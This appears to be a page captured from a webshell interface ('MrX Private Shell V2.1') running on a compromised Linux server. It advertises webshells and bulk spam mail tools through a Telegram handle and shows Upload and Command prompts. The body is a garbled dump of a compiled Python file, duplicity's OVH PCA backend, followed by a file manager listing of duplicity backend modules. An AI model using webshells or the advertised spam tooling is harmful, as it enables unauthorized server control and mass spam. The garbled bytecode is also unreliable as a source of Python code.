__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g�0���SSKrSSKrSSKrSSKJr SSKJr "SS\RR5r	\RRS\	5 g)�N)�log)�BackendExceptionc�^�\rSrSrSrSrSrSrSrSSjr	S	r
S
rSrSr
S
rSrSrg)�
PCABackend�z
Backend for OVH PCA
c	��[RRRX5 SSKJn SSKJn X0l
X l0nS[R;aAS[R;a-[RSUS'[RSUS'O�S	[R;a[S
5eS[R;a[S5eS
[R;a[S5e[RS	US'[RSUS'[RS
US'0nS[R;Ga'[RSUS'[RSS:XGa�S[R;a$URS[RS05 S[R;a$URS[RS05 S[R;a$URS[RS05 S[R;a$URS[RS05 S[R;a$URS[RS05 S[R;a$URS [RS05 S![R;a$URS"[RS!05 S#[R;a$URS$[RS#05 S%[R;a$URS&[RS%05 OS'US'S[R;a[RSUS'S%[R;a$URS&[RS%05 XeS('SUS)'XPlUR R#S*5Vs/sHowS+:wdM
UPM nnUR%S5UlU(aS*R)U5S*3UlOS+UlS,n	S-n
SnU"S70URD6UlUR,R/UR&5nUcV[2R>"S0UR&35 [AX�//5nUR,RCUR&US19 gU	(aRX�RE5U	:wa;[2R4"S3UR&S4X�RE5S5U	S635 ggg![an[S[U535eSnAff=fs snf!Ua N�[0a]n[2R4"S.UR6R8S/[U53[2R:R<5 SnAGNJSnAff=f![0a\n[2R4"S2UR6R8S/[U53[2R:R<5 SnAgSnAff=f)8Nr)�
Connection)�ClientExceptionz@PCA backend requires the python-swiftclient library.
Exception: �PCA_PREAUTHURL�PCA_PREAUTHTOKEN�
preauthurl�preauthtoken�PCA_USERNAMEz*PCA_USERNAME environment variable not set.�PCA_PASSWORDz*PCA_PASSWORD environment variable not set.�PCA_AUTHURLz)PCA_AUTHURL environment variable not set.�user�key�authurl�PCA_AUTHVERSION�auth_version�3�PCA_USER_DOMAIN_NAME�user_domain_name�PCA_USER_DOMAIN_ID�user_domain_id�PCA_PROJECT_DOMAIN_NAME�project_domain_name�PCA_PROJECT_DOMAIN_ID�project_domain_id�PCA_TENANTNAME�tenant_name�PCA_ENDPOINT_TYPE�
endpoint_type�
PCA_USERID�user_id�PCA_TENANTID�	tenant_id�PCA_REGIONNAME�region_name�2�
os_options�retries�/��PCAzX-Storage-Policy�Connection failed: � zCreating container )�headerszContainer creation failed: zContainer 'z$' exists but its storage policy is 'z' not 'z'.�)#�	duplicity�backend�Backend�__init__�swiftclientr	r
�ImportErrorr�str�resp_exc�conn_cls�os�environ�update�conn_kwargs�path�split�pop�	container�join�prefix�conn�head_container�	Exceptionr�
FatalError�	__class__�__name__�	ErrorCode�connection_failed�Info�dict�
put_container�lower)
�self�
parsed_urlr	r
�er@r+�x�	url_parts�policy�
policy_header�container_metadatar2s
             �?/usr/lib/python3/dist-packages/duplicity/backends/pcabackend.pyr7�PCABackend.__init__#sE�����!�!�*�*�4�<�	�.�3�(�
�"�
����r�z�z�)�.@�B�J�J�.N�(*�
�
�3C�(D�K��%�*,�*�*�5G�*H�K��'��R�Z�Z�/�&�'V�W�W��R�Z�Z�/�&�'V�W�W��B�J�J�.�&�'U�V�V�"$�*�*�^�"<�K���!#���N�!;�K���%'�Z�Z�
�%>�K�	�"��
���
�
�*�*,�*�*�5F�*G�K��'��z�z�+�,��3�)�R�Z�Z�7��%�%�'9�2�:�:�F\�;]�&^�_�'�2�:�:�5��%�%�'7����DX�9Y�&Z�[�,��
�
�:��%�%�'<�b�j�j�Ib�>c�&d�e�*�b�j�j�8��%�%�':�B�J�J�G^�<_�&`�a�#�r�z�z�1��%�%�}�b�j�j�AQ�6R�&S�T�&�"�*�*�4��%�%���
�
�CV�8W�&X�Y��2�:�:�-��%�%�y�"�*�*�\�2J�&K�L�!�R�Z�Z�/��%�%�{�B�J�J�~�4N�&O�P�#�r�z�z�1��%�%�}�b�j�j�AQ�6R�&S�T��+.�K��'��r�z�z�)�)+���4D�)E�K�
�&��r�z�z�)����}�b�j�j�9I�.J�K�L�$.�L�!�!"��I��&��
!+��� 5� 5�c� :�F� :�1�2�g�Q� :�	�F�"���q�)���� �X�X�i�0�1��3�D�K��D�K���*�
�!��		�"�6�T�%5�%5�6�D�I�!%���!9�!9�$�.�.�!I���%��H�H�*�4�>�>�*:�;�<�
��� 7�8�9���	�	�'�'�����'�H��*�+>�+>�+@�A�V�K��N�N��d�n�n�-�.�&�':�':�'<�=�>�g�f�X�R�Q�
�L�V��K�	�"����F�8���
��	��HG���	���	��N�N�%�a�k�k�&:�&:�%;�1�S��V�H�E��
�
�/�/�
�
��	���
����1�!�+�+�2F�2F�1G�q��Q���Q��M�M�3�3����
�s[�U�
	U<�U<�$<V�1W2�
U9�U4�4U9�W/�		W/�AW*�*W/�2
Y�<AY�Yc��[X R5(a+URS:Xa[RR
$gg)Ni�)�
isinstancer;�http_statusrrM�backend_not_found)rS�	operationrUs   r[�_error_code�PCABackend._error_code�s7���a���'�'��}�}��#��}�}�6�6�6�$�(�c	���URRURUR[R
"U5-[
[R
"UR5S55 g)N�rb)rG�
put_objectrDrFr=�fsdecode�open�name)rS�source_path�remote_filenames   r[�_put�PCABackend._put�sI���	�	����N�N��K�K�"�+�+�o�6�6�����[�-�-�.��5�	
rdc��UR[R"U55nU(aN[[R"UR5S5nUHnURU5 M SSS5 gg!,(df   g=f)N�wb)�unsealr=rhrirj�write)rSrl�
local_path�body�f�chunks      r[�_get�PCABackend._get�s^���{�{�2�;�;��7�8����b�k�k�*�/�/�2�D�9�Q�!�E��G�G�E�N�"�:�9��9�9�s�A<�<
B
Nc	��URRURSURSS9nUSnU(auUSSnUSR	S5nURRURUUSURSS9SnU(aUSRU5 U(aMuUb[
[XS55$US$)	NFzpolicy_extra=true)�full_listingrA�query_string����rj�
version_id)�marker�version_markerrzrAr{)rG�
get_containerrDrF�get�extend�list�filter)rS�ffilter�rv�listingrr�s      r[�__list_objs�PCABackend.__list_objs�s����Y�Y�
$�
$��N�N�����,�	%�
���Q�%����R�[��(�F�$�R�[�_�_�\�:�N��i�i�-�-�����-�"��[�[�0�
.����G���1����W�%��g�����w�1��.�/�/��!�u�rdc	��UR5Vs/sH2n[R"US[UR5S5PM4 sn$s snf�Nrj)�_PCABackend__list_objsr=�fsencode�lenrF)rS�os  r[�_list�PCABackend._list�sC��DH�DT�DT�DV�W�DV�q����A�f�I�c�$�+�+�&6�&8�9�:�DV�W�W��Ws�9Ac��URRURUR[R
"U5-5 g�N)rG�
delete_objectrDrFr=rh)rS�filenames  r[�_delete�PCABackend._delete�s,���	�	���������b�k�k�(�>S�0S�Trdc��URRURUR[R
"U5-5nS[
US50$)N�sizezcontent-length)rG�head_objectrDrFr=rh�int)rSr��sobjects   r[�_query�PCABackend._query�sE���)�)�'�'�������b�k�k�RZ�F[�8[�\����G�$4�5�6�7�7rdc	��URRURUSS9up#[R"SUS35 U$!UR
a�nURS:Xa~[URS5n[US5upg[US5up�[U5S[U5S	S
[U5S	S3n	[R"SUSU	S
35 SnAg[R"SURRS[U53[RR5 SnAgSnAff=f)Ni)�resp_chunk_sizezFile z was successfully unsealed.i�zRetry-After�<�h�02�m�sz% is being unsealed, operation ETA is �.r0r1)rG�
get_objectrDrrOr;r_r��http_response_headers�divmodrJrKrLr:rMrN)
rSrl�_rtrU�durationr�r�r��etas
          r[rq�PCABackend.unseal�s+��	��i�i�*�*�4�>�>�?�\`�*�a�G�A��H�H�u�_�-�-H�I�J��K���}�}�	��}�}��#��q�6�6�}�E�F���h��+����a��}����Q����#�a�&���A�c�!�f�R�[��:�����5�� 1�1V�WZ�V[�[\�]�^�^��	���)�!�+�+�*>�*>�)?�q��Q���I��M�M�3�3�����	�s �AA�D?�B	D:�#AD:�:D?c�$^^�Sn[[[RU55mTR	UU4SjS9nSnUH�n[R"US5nUSn[
R"SUSUS	35 US
:Xa2[
R"SUS35 TRUS5 S
nMvUS:XdM~S
nM� U(a0TRT5n[R"U5 U(aM0[
R"S5 g)z�
This is called before downloading volumes from this backend
by main engine. For PCA, volumes passed as argument need to be unsealed.
This method is blocking, showing a status at regular interval
r�c�>�[R"US5TVs/sHnTRU-PM sn;$s snfr��r=rhrF�rVr�rS�u_remote_filenamess  ��r[�<lambda>�7PCABackend.pre_process_download_batch.<locals>.<lambda>��4���b�k�k�!�F�)�4�Rd�8e�Rd�Q����q��Rd�8e�e��8e��<�r�Frj�policy_retrieval_statezVolume z
. State : z. �sealed�Launching unseal of volume r�T�	unsealingz%All volumes to download are unsealed.N)r��mapr=rhr�rrO�Noticerq�
unseal_status�time�sleep)	rS�remote_filenames�retry_interval�objs�one_object_not_unsealedr�r�r�r�s	`       @r[�pre_process_download_batch�%PCABackend.pre_process_download_batch�s�����!�#�b�k�k�3C�"D�E�����e� �
��
#(���A��{�{�1�V�9�-�H�%&�'?�%@�"��H�H�w�x�j�
�3I�2J�"�M�N�%��1��
�
�8��
�!�D�E����A�f�I�&�*.�'�'�;�6�*.�'��&�&*�&8�&8�9K�&L�#��J�J�~�&�&�%�

�J�J�>�?rdc�p^^�SnTRUU4SjS9nSnUH�nUSn[R"US5nUS:XaL[R"SUS	35 [R"S
US	35 TRUS5 SnMsUS:XdM{[
US
5n[R"US[
U5S35 X�:�aUnSnM� [US5up�[U	S5up�[
U5S[
U	5SS[
U
5SS3n[R"SUS35 U$)z*
Shows unsealing status for input volumes
Fc�>�[R"US5TVs/sHnTRU-PM sn;$s snfr�r�r�s  ��r[r��*PCABackend.unseal_status.<locals>.<lambda>r�r�r�rr�rjr�z)Error: volume is still in sealed state : r�r�Tr��policy_retrieval_delayz available in z	 seconds.r�r�r�r�r�z
Need to wait z! before all volumes are unsealed.)	r�r=rhrr�rqr�rOr�)
rSr�r�r��max_durationr�r�r�r�r�r�r��max_duration_etas
``           r[r��PCABackend.unseal_statussG���#(�����e� �
�����A�%&�'?�%@�"��{�{�1�V�9�-�H�%��1��
�
�F�x�j�PQ�R�S��
�
�8��
�!�D�E����A�f�I�&�*.�'�'�;�6��q�!9�:�;�����H�:�^�C��M�?�)�L�M��*�#+�L�*.�'���l�B�'����a��}���!�!�f�X�Q�s�1�v�b�k��3�q�6�"�+�Q�?���
�
�]�#3�"4�4U�V�W�&�&rd)rGr<r@rDrFr;r�)rL�
__module__�__qualname__�__firstlineno__�__doc__r7rbrmrwr�r�r�r�rqr�r��__static_attributes__r3rdr[rrsD���o�b7�

�#��8X�U�8��,!@�F'rdr�pca)r=r��duplicity.backendr4r�duplicity.errorsrr5r6r�register_backendr3rdr[�<module>r�sI��,
����-�D'��"�"�*�*�D'�N
���"�"�5�*�5rd

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 379 B 0644
_cf_cloudfiles.cpython-313.pyc File 5.1 KB 0644
_cf_pyrax.cpython-313.pyc File 6.79 KB 0644
_testbackend.cpython-313.pyc File 16.5 KB 0644
adbackend.cpython-313.pyc File 18.76 KB 0644
azurebackend.cpython-313.pyc File 6.79 KB 0644
b2backend.cpython-313.pyc File 11.74 KB 0644
boxbackend.cpython-313.pyc File 9.21 KB 0644
cfbackend.cpython-313.pyc File 665 B 0644
dpbxbackend.cpython-313.pyc File 24.58 KB 0644
gdocsbackend.cpython-313.pyc File 10.15 KB 0644
gdrivebackend.cpython-313.pyc File 15.64 KB 0644
giobackend.cpython-313.pyc File 9.93 KB 0644
hsibackend.cpython-313.pyc File 3.42 KB 0644
hubicbackend.cpython-313.pyc File 2.76 KB 0644
idrivedbackend.cpython-313.pyc File 23.25 KB 0644
imapbackend.cpython-313.pyc File 12.94 KB 0644
jottacloudbackend.cpython-313.pyc File 7.04 KB 0644
lftpbackend.cpython-313.pyc File 12.44 KB 0644
localbackend.cpython-313.pyc File 4.08 KB 0644
mediafirebackend.cpython-313.pyc File 6.07 KB 0644
megabackend.cpython-313.pyc File 8.47 KB 0644
megav2backend.cpython-313.pyc File 10.2 KB 0644
megav3backend.cpython-313.pyc File 11.81 KB 0644
multibackend.cpython-313.pyc File 14.88 KB 0644
ncftpbackend.cpython-313.pyc File 7.3 KB 0644
onedrivebackend.cpython-313.pyc File 17.76 KB 0644
par2backend.cpython-313.pyc File 11.9 KB 0644
pcabackend.cpython-313.pyc File 15.11 KB 0644
pydrivebackend.cpython-313.pyc File 14.04 KB 0644
rclonebackend.cpython-313.pyc File 6.53 KB 0644
rsyncbackend.cpython-313.pyc File 7.66 KB 0644
s3_boto3_backend.cpython-313.pyc File 11.21 KB 0644
slatebackend.cpython-313.pyc File 7.49 KB 0644
ssh_paramiko_backend.cpython-313.pyc File 23.04 KB 0644
ssh_pexpect_backend.cpython-313.pyc File 14.37 KB 0644
swiftbackend.cpython-313.pyc File 12.88 KB 0644
sxbackend.cpython-313.pyc File 2.87 KB 0644
tahoebackend.cpython-313.pyc File 3.64 KB 0644
webdavbackend.cpython-313.pyc File 25.74 KB 0644
xorrisobackend.cpython-313.pyc File 16.46 KB 0644
Filemanager